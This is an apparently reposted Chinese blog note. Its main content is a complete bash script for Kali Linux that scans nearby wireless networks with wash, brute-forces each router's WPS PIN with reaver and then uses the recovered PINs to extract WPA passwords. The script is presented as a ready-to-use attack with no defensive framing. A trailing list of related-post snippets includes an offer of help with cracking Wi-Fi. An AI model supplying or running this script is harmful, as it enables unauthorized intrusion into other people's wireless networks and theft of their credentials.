kali-通过获取路由器pin码套取无线网络密码shell脚本
直接上脚本吧, 我做个笔记。
#************************************************************************* # > File Name: wifi.sh # > Author: chenglee # > Main : chengkenlee@sina.com # > Blog : http://www.cnblogs.com/chenglee/ # > Created Time : Tue 26 Mar 2019 09:30:16 PM CST #************************************************************************* #!/bin/bashwlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`function Wwash(){echo "判断网卡是否以挂载..."if [ -z "${wlanname}" ];thenecho "网卡没挂载, 请先手动挂载网卡"exit;elseecho "网卡已挂载,判断是否已启动监听模式"#airmon-ng start ${wlanname}wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`string="mon"if [[ $wlanname =~ $string ]];thenecho "监听模式正常, 开始扫描附近无线网络..."nohup wash -i ${wlanname} > logs/file 2>&1 &elseecho "监听模式异常, 准备重启监听模式"airmon-ng stop ${wlanname}airmon-ng start ${wlanname}echo "检查网卡监听模式状态"if [[ $wlanname =~ $string ]];thenecho "监听模式正常, 开始扫描附近无线网络..."nohup wash -i ${wlanname} > logs/file 2>&1 &elseecho "定点异常,请插拔网卡后继续运行此脚本"exit;fififi } function file(){sleep 5;num=`cat -n logs/file | grep BSSID | awk -F ' ' '{print$1}'`number=`expr ${num} + 2`nullnum=`sed -n ''"$number"',$p' logs/file | awk '/^$/{print NR}' | head -n 1`if [ "$nullnum" = "" ];thensed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1cat logs/file1 | awk -F ' ' '{print$1}' > logs/maccat logs/file1 | awk -F ' ' '{print$2}' > logs/chelsesed -n ''"$number"',$p' logs/file | awk -F ' ' '{print$1,$2}' > logs/file1nullnu=`expr ${nullnum} - 1`sed -n '1,'"$nullnu"'p' logs/file1 > logs/file2cat logs/file2 | awk -F ' ' '{print$1}' > logs/maccat logs/file2 | awk -F ' ' '{print$2}' > logs/chfi } function Rreaver(){wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`exec 3<"logs/mac"exec 4<"logs/ch"while read line1<&3 && read line2<&4doecho "后台分析物理地址为:${line1},信道为:${line2}的无线网络数据, 请稍后..."nohup reaver -i ${wlanname} -b ${line1} -c ${line2} -vv -K 0 >> logs/${line1}.logs 2>&1 &done } function analyse_PIN(){lsatstring="logs"exec 5<"logs/mac"while read line3<&5doWPA_PIN=`cat logs/${line3}.${lsatstring} | grep WPA`if [ "$WPA_PIN" = "" ];thenecho "${line3}-PIN码获取不到, 继续判断..."elseecho "${line3}-PIN码获取成功!!PIN码:${WPA_PIN}"echo "${line3}" >> logs/pin_mac 2>&1 &echo "${WPA_PIN}" | awk -F ':' '{print$NF}' | sed 's/ //g' >> logs/pin_pin 2>&1 &fidone } function Ppin(){wlanname=`ifconfig | grep wlan | awk -F ':' '{print$1}'`exec 6<"logs/pin_mac"exec 7<"logs/pin_pin"while read line4<&6 && read line5<&7doecho "开始通过(路由器):${line4},pin码:${line5},套取密码..."nohup reaver -i ${wlanname} -b ${line4} -p ${line5} >> logs/${line5}.logs 2>&1 &done } function pass(){lsatstring="logs"exec 8<"logs/pin_pin"while read line6<&8doPassWord=`cat logs/${line6}.${lsatstring} | grep PSK`if [ "$PassWord" = "" ];thenecho "PIN码为:${line6},密码获取失败, 继续获取..."elseecho "PIN码为:${line6},密码获取成功,请前行 logs/${line6}.${lsatstring}文件查看相关 SSID,PASS等信息"fidone } function logs(){if [ -d "logs" ];thenecho ""Wwashsleep 10;fileelseecho ""mkdir logsWwashsleep 10;filefi } function main(){#logs#file ###############多重循环暴力区############### #Rreaver#analyse_PIN#Ppin#pass ###############多重循环暴力区############### } main
转载于:https://www.cnblogs.com/chenglee/p/10601642.html
kali-通过获取路由器pin码套取无线网络密码shell脚本相关推荐
- Kali破解路由器Pin码
本文中涉及的所有技术仅供个人学习.技术交流,禁止用于非法用途!!请在国家法律允许的范围内使用!!! 本文中涉及的所有技术仅供个人学习.技术交流,禁止用于非法用途!!请在国家法律允许的范围内使用!!! ...
- 哪看计算机的网络密码,如何检查计算机的无线网络密码?两种查看方法
有时,很长一段时间后,我们很容易忘记计算机的无线网络密码,即Wifi密码. 当来自朋友或家人的新无线设备需要无线Internet访问时,我们将告诉无线网络密码. 那么如何检查计算机的无线网络密码呢?下 ...
- Reaver跑pin码+Mdk3无线攻击笔记
实例三-Reaver跑pin码破解wifi PIN码共分为8位,按 4 3 1分段,总共穷举有11000种组合.通过获取到PIN码,并记住Bssid和PIN,后期可以通过一条命令爆出无线密码. 容易碰 ...
- Windows7查看无线网络密码
如果你是Windows XP用户,忘记了无线网络密码你怎么办? 一般的,遇到这样的情况,大家会选择"密码查看器"之类的工具,或是向网管寻求帮助. 而如果你是Windows 7用户, ...
- 计算机上在网络密码,电脑上怎么使用无线网络密码
Win10怎么查看无线网络密码 工具原料:电脑+无线密码 windows10电脑找无线密码方法如下: 一.点击电脑右下角无线链接图标,选择已链接的无线帐户,右键选择"属性"如下图所 ...
- w7无线网络密码破解
w7无线网络密码破解 w7无线网络密码破解大家好,有需要或想要学解wifi密 码可以加我的扣扣是1029681082 有需要或想要学习破解wifi密码可以加我扣扣,懂的不多破解个密码是搓搓有 ...
- 用BT3破解无线网络密码的教程以及如何制作U盘版和光盘版BT3
用BT3破解无线网络密码的教程以及如何制作U盘版BT3 招:论坛版主 新建 文本文档.rar (1 K) 下载次数:81 一分钟制作 BT3 U盘版 方便,快捷简单 光盘版BT3, 大概694MB, ...
- 如何轻松破解无线网络密码
奶瓶这个系统,相信玩无线的朋友应该都会知道.这是一款基于 Tiny Core Linux 搭建的无线网络安全测试系统,当然由于它是用来安全测试的系统,因此在安全方面自然有着强大的功能.而且,这个系统非 ...
- ns-3脚本初识——WIFI无线网络:third脚本
ns-3脚本初识--WIFI无线网络:third脚本 ps:本文所有文件和目录的默认根目录均为ns-3.29/. 正如在构建点到点拓扑时看到的点到点拓扑和CSMA拓扑助手对象一样,将在本节中看到等效的 ...
最新文章
- 玩转Android之在线视频播放控件Vitamio的使用
- kaggle数据集命令行下载
- VS2019-C++警告-C6385读取数据无效
- [转]jQuery: how to get which button was clicked upon form submission?
- python云台控制原理_python伺服云台摄像头图像作为背景
- 数字逻辑:多级门电路
- python外国网站爬虫_10分钟教你用python爬取网站信息:这可能是全网最好用的爬虫代码...
- Linux 下文件和目录的特点
- idea中Empty tag doesn‘t work in some browsers 浏览器中一片空白,没有渲染样式,
- 《Qt on Android核心编程》介绍
- APP中方法超过64K的解决办法
- LateX正文与首页页眉线分别为单双线的设置方法
- xml 硕正报表_主要指标及功能清单
- html表单中下拉列表,HTML select下拉列表标签
- 架构师的职责是什么?
- arduino并口屏_零知开源软件库使用-ILI9341并口显示屏
- 残差/shortcur/Resnet 究竟好在哪里
- Rufus制作ubuntu的U盘启动盘
- Fluke TiX560 红外热像仪二次开发包
- 凌思微-LE5010蓝牙开发(三)
热门文章
- Python 缓存机制之functools.lru_cache
- AUTOjs3.0文档之悬浮窗
- smartgit 体验过期解决办法
- Hystrix断路器入门1
- AndroidStudio如何进行手机应用开发?
- C#程序的实现2个内存对象的合并生成一个新的内存对象
- 利用SD的插件从文本或者图片创建3D模型
- Linux+MCSM9+Docker 搭建Minecraft基岩版BDS私服,我的世界基岩版开服教程
- HTML5 DOM元素类名相关操作API classList简介
- 多线程抢票_一个人干掉黄牛 双系统多线程抢票指南